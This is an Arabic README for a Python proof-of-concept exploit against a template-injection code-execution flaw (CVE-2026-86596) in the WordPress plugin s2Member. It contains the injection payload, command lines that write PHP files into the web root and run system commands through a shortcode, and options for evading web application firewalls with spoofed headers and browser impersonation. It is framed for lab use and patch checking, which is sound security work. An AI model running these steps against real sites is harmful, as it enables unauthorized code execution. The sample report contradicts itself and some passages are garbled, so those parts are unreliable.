
CVE-2026-86596 إثبات مفهوم لحقن القوالب في s2Member <= 260927 (مخبر؛ يتطلب التحقق من IPN)
إثبات مفهوم (PoC) بايثون في ملف واحد لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) عبر حقن القوالب في s2Member <= 260927.
الكود المصاب:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
الحمولة:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() يتركها كما هي لأنه لا يوجد <? حرفي.
استبدال %%item_name%% يُدخلها؛ وتنظيف %%(.+?)%% النهائي
يزيل %%x%%، تاركًا فاتح <?php صالحًا.
python3 poc.py https://wordpress.lab
هذا هو التدفق بأكمله:
cve_test.php مع @thiscitze في جذر WordPress،https://wordpress.lab/cve_test.php ويتحقق من العلامة.إذا لم يكن معرّف المقالة/الصفحة المحمية هو 1:
python3 poc.py https://wordpress.lab --item-number 123
إذا كان .php محظورًا، فاكتب علامة نصية عادية:
python3 poc.py https://wordpress.lab --filename cve_test.txt
إذا كان الموقع يستخدم مفتاح تحقق عبر وكيل:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
تقرير موجز:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
يجيب التقرير عن ثلاثة أسئلة منفصلة:
تعني RCE: NOT CONFIRMED أن السكربت لم يُثبت تنفيذ الشيفرة، حتى لو
كانت حالة HTTP هي 200.
يكون التلوين مفعّلًا عندما يكون stdout طرفية TTY؛ فرضه باستخدام --color always أو عطّله
باستخدام --color never.
إذا كان الهدف خلف WAF/تحدٍّ، يحاول السكربت تلقائيًا متغيّرات شكل الطلب قبل الاستسلام:
multipart/form-dataitem_name مكرر (حميد + payload)multipart/form-data مع item_name مكررX-Forwarded-For / X-Real-IP / CF-Connecting-IPcurl_cffi (pip install curl_cffi)--http-proxyعناصر تحكم اختيارية:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion يعطّل المتغيرات التلقائية. قد يظل تحدّي JS
يتطلب جلسة متصفح حقيقية أو IPN من أصل PayPal؛ فحيل الترويسات ليست
تجاوزًا مضمونًا.
اكتب ملف اختبار في جذر WordPress وتحقق منه:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
يكتب الحمولة cve_test.php الذي يحتوي على:
<?php echo "@thiscitze"; ?>
إذا كان .php محظورًا أو غير مطلوب، فاكتب علامة نصية عادية بدلاً من ذلك:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
يُكتب الملف إلى ABSPATH (جذر نظام ملفات WordPress). إذا كانت
WordPress مثبتة في دليل فرعي، فاضبط --test-url وفقًا لذلك.
python3 poc.py --simulate
المتوقع:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
متغير الشورت كود:
python3 poc.py --simulate --shortcode --command "system('id');"
ينتج عن هذا [s2If php="system('id');"]، والذي يُنفَّذ إذا وصل القالب
إلى نقطة استقبال do_shortcode() / [s2If php].
python3 poc.py --check https://wordpress.lab
يقرأ readme.txt أو s2member.php ويقارن الإصدار بـ
260927 / 261001.
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
يتحقق s2Member من رسائل IPN مع PayPal (POST back) أو عبر مفتاح تحقق وكيل. عادةً ما يُرفض طلب POST المزوّر مباشرةً. لأغراض المختبر:
item_name هو الحمولة، أوpython3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
يطبع السكربت استجابة HTTP ويحذّر إذا رفض الهدف التحقق.
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
يجلب صفحة ويبحث عن CVE-2026-86596، وهو ما يعكسه الحمولة.
يكون هذا مفيدًا عندما يُعرض حوض رمز التتبع / الرمز القصير بعد IPN.
custom باسم مضيف الموقع (أو يجب تمكين skip_ipn_domain_validation).item_number صالح لمسار Specific Post/Page.do_shortcode() / [s2If php=...]، أو تكامل مخصص يقيّم قالب الإشعار. يُرسل نص البريد الإلكتروني العادي الافتراضي نفسه عبر wp_mail، ولا يُقيَّم عبر eval.حدّث إلى s2Member 261001 أو أحدث (الحالي: 261017). يستبدل الإصلاح
الاستيفاء التسلسلي بـ fill_paypal_template_once() ويُنقّي
وجهة التتبع إلى [A-Za-z0-9 @._-].
PR:N) إلى أنه غير مصادق. تعامل معه على أنه بعيد/غير مصادق لأولوية
الترقيع، لكن تحقق من متطلبات IPN/الوسيط في إعدادك.